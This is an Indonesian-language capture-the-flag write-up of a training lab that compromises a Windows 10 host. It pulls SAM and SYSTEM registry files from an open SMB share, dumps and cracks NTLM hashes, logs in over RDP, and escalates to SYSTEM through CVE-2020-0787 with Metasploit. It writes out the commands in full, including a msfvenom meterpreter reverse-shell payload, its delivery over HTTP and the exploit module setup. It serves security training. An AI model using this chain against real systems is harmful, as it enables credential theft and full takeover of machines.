CVE 2020–0787 Windows Privilege Escalation | CTF Write-ups
Perkenalkan nama saya tengku arya saputra , pada artikel kali ini saya akan membagikan pengalaman bagaimana saya dapat meretas mesin windows dengan memanfaatkan smb pada file SAM yang menyebabkan sensitive information disclosure.
Apa itu SAM file ? kita akan kenalan terlebih dahulu dengan file SAM , SAM singkatan dari Security Accounts Manager , file ini digunakan oleh sistem operasi untuk menyimpan informasi tentang akun pengguna baik username, nilai hash password dan informasi yang berkaitan dengan keamanan, nah tujuan saya mendapatkan file SAM ini adalah untuk mengautentikasi dan mendapatkan akses ke sistem.
oke apa yang pertama saya harus lakukan ? saya harus memahami tugas yang diberikan pada lab ini, saya diberikan 6 task/ tugas
Task 1 : Kapan tanggal cadangan registri dibagikan ke SMB?
Task 2 : Apa nama pengguna dari pengguna yang memiliki UID 1001?
Task 3 : Apa kata sandi pengguna edward?
Task 4 : Apa nama komputernya?
Task 5 : Apa nama pengguna edward di company.hackviser.space?
Task 6 : Apa alamat email yang digunakan Jacob di company.hv?
baik berarti yang pertama saya lakukan saya harus tau terlebih dahulu tentang SMB ini pada mesin target , saya menggunakan nmap untuk mengumpulkan informasi yang lengkap mengenai port saya akan melakukan pemindaian.
saya mendapaktan bahwa mesin target menggunakan windows 10 pro version 10.0.17134 , oke info ini sangat detail dan cukup untuk informasi yang saya akan gunakan selanjutnya , saya lihat bawha host script result menunjukan bahwa smb-os-discovery digunakan pada mesin ini sehingga saya melanjutkan untuk melihat sharename yang terdapat pada mesin ini dengan perintah
smbclient — no-pass -L 172.20.2.40
172.20.2.40 ini adalah mesin target, saya mendapatkan beberapa sharename seperti ADMIN$ , C$ , IPC$, Reg_Backup_03–12–2024, Users , saya mendapaktan jawaban dari TASK 1 yaitu pada tanggal 03–12–2024 melakukan backup.
Task 1 : Kapan tanggal cadangan registri dibagikan ke SMB? 03–12–2024
selanjutnya ini membuat saya tertarik untuk mencoba memasuki folder nya dan saya mencoba melihat isi di dalam sharename Reg_Backup_03–12–2024 dengan perintah.
smbclient — no-pass \\\\172.20.2.40\\Reg_Backup_03–12–2024
dan yeh! saya mendaatkan file SAM yang saya cari, ada 2 file yang saya butuhkan yaitu sam_file & system_file, saya akan mendownload ke lokal saya menggunakan perintah get <filename>
get sam_file
get system_file
jika keduanya sudah di dapatkan , selanjunya periksa file.
file sudah ke download, jika di cat file sam_file ini akan berantakan atau formatnya tidak terbaca
saya harus menggunakan tools impacket-secretsdump bagi yang belom tau apa itu tools impacket-secretsdump nah ini yang digunakan untuk mengungkapkan informasi rahasia, kata sandi, dan memiliki lebih banyak kemampuan, saya akan gunakan perintah ini.
impacket-secretsdump -sam sam_file -system system_file local -outputfile dump_SAM.txt
saya mendapatkan apa yang saya inginkan yaitu credentials, tapi password ini masih dalam bentuk hash , mari saya selesaikan TASK 2 , dilihat dari soal kita harus mencari UID 1001 yaitu edward.
Task 2 : Apa nama pengguna dari pengguna yang memiliki UID 1001? Edward.
saya mendapatkan NTLM dari pengguna edwad yaitu e1d28c20baa79c026a7627b80bb40873 , saya akan mencoba bruteforce ini menggunakan tools hashcat , apa itu hashcat ? nah yang belom tau hashcat ini yang menurut saya tools terbaik di dunia untuk memecahkan kata sandi uniq lebih dari 300 algoritma hashing, ini sangat cepat tidak ada 10 detik.
saya kembali ke hashcat, saya menggunakan perintah ini untuk mencoba memecahkan passwordnya.
hashcat -a 0 -m 1000 e1d28c20baa79c026a7627b80bb40873 /usr/share/daftar kata/rockyou.txt
- a mode attack
-m hash type
Karena hash yang ingin saya pecahkan adalah NTLM, kita atur parameter -m menjadi 1000 dan mode serangan menjadi 0 untuk parameter -a untuk mencoba kata sandi di wordlists rockyou.txt.
searangan bruteforce attack yang saya lakukan berhasil dilakukan password ini menunjukan bahwa password edward yaitu twilight , dengan itu saya menyelsaikan TASK 3
Task 3 : Apa kata sandi pengguna edward? twilight
oke sekarang saya sudah mendapatkan full credentials nya yaitu
username : edward
password : twilight
yang belom tau credentials ini untuk apa? ini untuk RDP yaitu Remote Desktop Protocol , saya akan menggunakan remmina karena saya menggunakan kali linux saya akan memasukan credentials yang saya peroleh.
dengan password dan username yang benar saya bisa mengakses windowsnya, selanjutnya saya harus mencari info mengenai hostname dari komputernya, pergi ke powershell dan ketik perintah
$env:COMPUTERNAME
computer name yaitu : DESKTOP-0SLFDB7
dengan ini saya menyelesaikan TASK 4
Task 4 : Apa nama komputernya? DESKTOP-0SLFDB7
selanjutnya pada task ke 5 saya disuru untuk menemukan username dari edward di company domain
lakukan perintah
cmdkey /list
saya mendapatkan username nya edward di company.hv yaitu edward@company.hv
Task 5 : Apa username edward di company.xxx.space? edward@company.hv
oke saya sudah menyelsaikan 5 tugas dan ini yang terakhir saya disuru untuk menemukan email dari user jacob , saya langsung pergi ke local disk C dengan full path C:\Users\jacob\Desktop\ , terdapat file email_addreses.txt akan tetapi mereka memberi hak akses hanya admin yang memperbolehkan membuka dan membacanya! saya harus melakukan privilege escalation untuk meningkatkan hak akses saya dari user biasa menjadi admin.
oke, sekarang saya akan mencoba menggunakan Framework Metasploit untuk privilege escalation. Pertama, saya akan membuat sebuah file exe dengan msfvenom untuk mendapatkan shell meterpreter dan kemudian menjalankan aplikasi ini pada sistem target. Pertama-tama, saya buat file exe yang diperlukan dengan menjalankan perintah
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<listener-ip> lport=<listener-port> -f exe> virus.exe
LHOST dan LPORT disesuaikan dengan ip attacker dan port attacker untuk mendengar.
setelah dibuat sekarang bagaimana caranya agar file virus.exe ini sampai ke mesin target pada RDP nya?
saya menggunakan perintah
python -m http.server 80
pada perintah ini saya akan membuka port 80 untuk diakases oleh mesin target, dan mendownload file yang ada di folder itu, membuka browser pada mesin target dan mendownload virus.exe nya.
setelah di download saya akan menjalakna perintah payload untuk di metasploit nya dengan perintah
msfconsole
use multi/handler
set LHOST <ip_attacker>
set LPORT <port_listener>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
ketika sudah di exploit maka metasploit akan menunggu listener dari mesin target sampai di jalankan, jika sudah dijalankan maka akan muncul meterpreter.
saya akan memanfaatkan cve dari CVE 2020–0787 yaitu Windows Background Intelligent Transfer Service (BITS) , saya langsung menggunakan perintah background untuk menyimpan hasil listenter ke sessions
sekarang saya harus tau dulu apakah CVE 2020–0787 benar benar rentan atau tidak pada mesin target ini ? saya akan mencoba menggunakan modul pada metasploit yaitu multi/recon/local_exploit_suggester dan jalankan perintah
use multi/recon/local_exploit_suggester
setelah itu lihat apa yang dibutuhkan oleh modul ini ,yang di butuhkan hanyalah SESSION kita set menjadi 1 sesuai session yang muncul pada gambar sebelumnya. lalu di run dan otomatis modul itu aan mencari kerenanan yang mungkin bisa di exploitasi untuk privilege escalation.
dan ini hasilnya! saya mendapatkan result bahwa mesin benar benar rentan terhadap cve 2022–0787 ini !
ada banyak yang rentan tetapi saya menggunakan cve 2020_0787 yang bisa melakukan privilege escalation.
langsung saja kita pilih modul itu dengan perintah
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
lanjutkan untuk set yang dibutuhkan
set LHOST <ip_attacker>
set LPORT <ip_listener>
set SESSION 1
Dan jalankan exploit dan ini resultnya!
saya mendapatkan hak akses root NT AUTHORITY/SYSTEM yang dimana saya berhasil mendapatkan akses root dengan memanfaatkan CVE ini. sekarang kita lihat email address si user jacob!.
pergi ke powershell dengan perintah
shell
powershell
cd ../../Users/jacob/Desktop
Get-Content email_addresses.txt
saya berhasil mendapatkan email dari jacob ini jacob.smith@company.hv
saya menyelesaikan TASK 6 akhir!
Task 6 : Apa alamat email yang digunakan Jacob di company.hv? jacob.smith@company.hv
kita menyelsaikan LAB!
Sekian dan terimakasih semoga bermanfaat :D cek video youtube untuk PoC ini ! https://youtu.be/O7sUi_0wEyE?si=Ikh3ZesGSwCSJ0Ut
